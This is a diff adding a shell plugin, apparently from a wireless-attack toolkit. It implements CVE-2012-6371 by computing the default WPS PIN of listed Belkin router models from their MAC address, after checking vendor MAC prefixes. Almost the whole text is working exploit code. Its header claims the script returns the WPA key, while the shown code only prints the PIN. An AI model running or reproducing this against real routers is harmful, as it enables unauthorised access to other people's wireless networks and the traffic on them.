+# Calculates the default WPS pin of Belkin Routers and returns the WPA key
+#
+# Implementation of CVE-2012-6371
+
+# works :
+# Belkin_N+_XXXXXX 00:22:75:XX:XX:XX F5D8235-4 v1000
+# belkin.XXX 00:1C:DF:XX:XX:XX F5D8231-4 v5000
+# belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+. ../lib/wps
+parse_plugin_args "$@"
+
+check_painmode
+
+! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1
+
+calc_belkin(){
+ PRIVATE_MAC=${1}
+
+ p=$((0x$PRIVATE_MAC % 10000000))
+ wps_pin_checksum(){
+ pin=$1
+ accum=0
+ while [ $pin -ne 0 ];do
+ accum=$((accum + (3 * (pin % 10)) ))
+ pin=$((pin/10))
+ accum=$((accum + pin %10 ))
+ pin=$((pin/10))
+ done
+ echo $(( (10 - accum % 10) % 10))
+ }
+ printf "%07d%d" $p $(wps_pin_checksum $p)
+ return 0
+}